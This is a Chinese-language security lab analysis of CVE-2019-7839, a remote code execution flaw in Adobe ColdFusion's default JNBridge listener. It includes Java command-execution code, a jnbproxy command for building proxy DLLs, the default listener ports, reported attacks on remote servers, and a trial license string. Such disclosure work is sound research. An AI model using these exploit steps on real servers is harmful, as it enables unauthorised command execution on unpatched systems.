作者: Badcode@知道創宇404實驗室
日期: 2019/07/09
英文版本: http://www.bjnorthway.com/1000/
漏洞簡介
? Adobe ColdFusion 是一個商用的快速開發平臺。它可以作為一個開發平臺使用,也可以提供Flash遠程服務或者作為 Adobe Flex應用的后臺服務器 。
? 2019年06月11日,Adobe 發布安全公告,修復了Adobe ColdFusion多個嚴重漏洞。其中有一個由Moritz Bechler提交的命令注入漏洞(CVE-2019-7839)。 ? 2019年06月26日,Moritz Bechler 在 Bugtraq 上公布了遠程代碼執行漏洞(CVE-2019-7839)的部分細節,由于 JNBridge 組件存在缺陷,而 ColdFusion 默認開啟JNBridge組件,導致代碼執行漏洞。
漏洞影響
- ColdFusion 2018 Update 3 及之前的版本
- ColdFusion 2018 Update 10 及之前的版本
- ColdFusion 11 Update 18 及之前的版本
- <= ColdFusion 9
漏洞分析
根據 Moritz Bechler 披露的部分細節,是由于ColdFusion 默認開啟了 JNBridge listener 從而導致了漏洞。
先來了解一下JNBridge。
什么是 JNBridge?
JNBridge 是一種領先的JAVA與.NET互操作的的產品,憑借JNBridge技術,Java 和.NET代碼無需交叉編譯器就可以實現對象共享。所有Java代碼運行在JVM上,而.NET代碼則運行在CLR上。在該方案下,JVM和CLR可以運 行在不同的機器上,也可以運行在一臺機器的不同進程上,甚至還能運行在相同的進程的不同應用程序域上。
下載 JNBridgePro,安裝完之后會有demo。試用license
jnbp-eval-v10.0#1899-2367-9451-2280
這里我們嘗試使用.net去調用java,跑一下logDemo,了解下大致流程。

啟動 Java 服務端
根據 JNBridge 的安裝路徑,修改startJava.bat,運行

可以看到,JNBridge 服務端 listener 已開啟,監聽在8085端口。
構建 .Net 客戶端
根據 demo的指示文檔 logDemo.pdf,一步一步構建 .Net 項目。

運行
運行 .Net 項目,調用 Java 服務端,成功調用。

如何執行調用 java.lang.Runtime
之前流程有一步是將 loggerDemo.javaClass轉成 logger.dll,試想一下,是否可以將java.lang.Runtime導成dll文件,供 .Net 客戶端引用,然后去調用 Java 服務端的java.lang.Runtime?
嘗試一下
將 rt.jar引入 classpath

添加 java.lang.Runtime類

導出 runtime.dll
引入 .Net 項目中供調用

運行

成功調用到了 Java 服務端中的java.lang.Runtime,這也是這個漏洞的根源。
ColdFusion 中的 JNBridge
ColdFusion 中是默認運行了 JNBridge listener 的,并且是 Java 服務端,監聽端口是 6095(ColdFusion 2018)、6093(ColdFusion 2016)、6085(ColdFusion <=9/11)。
由于 Coldfusion 中帶的 JNBridge 版本不同,所以構造 payload 的方式有些差異。
ColdFusion 2016/2018
ColdFusion 2018 中的 JNBridge 版本是 v7.3.1,無法使用上面的的JNBridge v10去構造 payload,在 JNBridge 官網上可以下載一部分歷史版本,下載 v7.3版本。
編寫想要在 Java 服務端執行的代碼
String command = "whoami";
String [] commandArgs;
String os = System.getProperty("os.name");
System.out.println(os);
if(os.toLowerCase().startsWith("win")){
commandArgs = new String[]{"cmd.exe", "/c", command};
}else {
commandArgs = new String[]{"/bin/bash", "-c", command};
}
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(commandArgs);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = br.readLine()) != null)
{
System.out.println(line);
}
br.close();
里面使用到了java.lang.Runtime,java.lang.Process,java.io.BufferedReader,java.io.InputStreamReader和java.lang.System,將相關類從rt.jar中導成runtime2.dll,供 .Net 客戶端引用。
根據 Java代碼重寫

這里面有個非常重要的 JNBShare.dll,這里使用自己安裝的 JNBridge 成功后生成的 JNBShare.dll,無法使用ColdFusion 中 JNBridge 的 JNBShare.dll,會報錯。
運行,攻擊遠程的ColdFusion 2018(Linux平臺),成功返回結果。

ColdFusion 9/11
ColdFusion 9 內部的 JNBridge 版本是 v5.1,監聽端口是 6085。由于這個版本比較老了,沒找到安裝包,現在需要生成供我們引用的runtime2.dll和能用的JNBShare.dll。ColdFusion 內部的 JNBridge中的jnbproxyGui.exe無法構建 .net -> java項目,也就是說GUI工具用不了,所幸的是命令行工具還可以用。
jnbproxy.exe,看下參數。

根據參數,生成runtime2.dll
jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System
至于 JNBShare.dll,因為內部的無法使用,安裝包又下載不到。幸運的是有人收藏了這個JNBShare.dll,谷歌搜索能夠找到,并且剛好是v5.1版本的。
運行,攻擊遠程的 ColdFusion 9(windows平臺),返回命令執行結果。

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/999/
暫無評論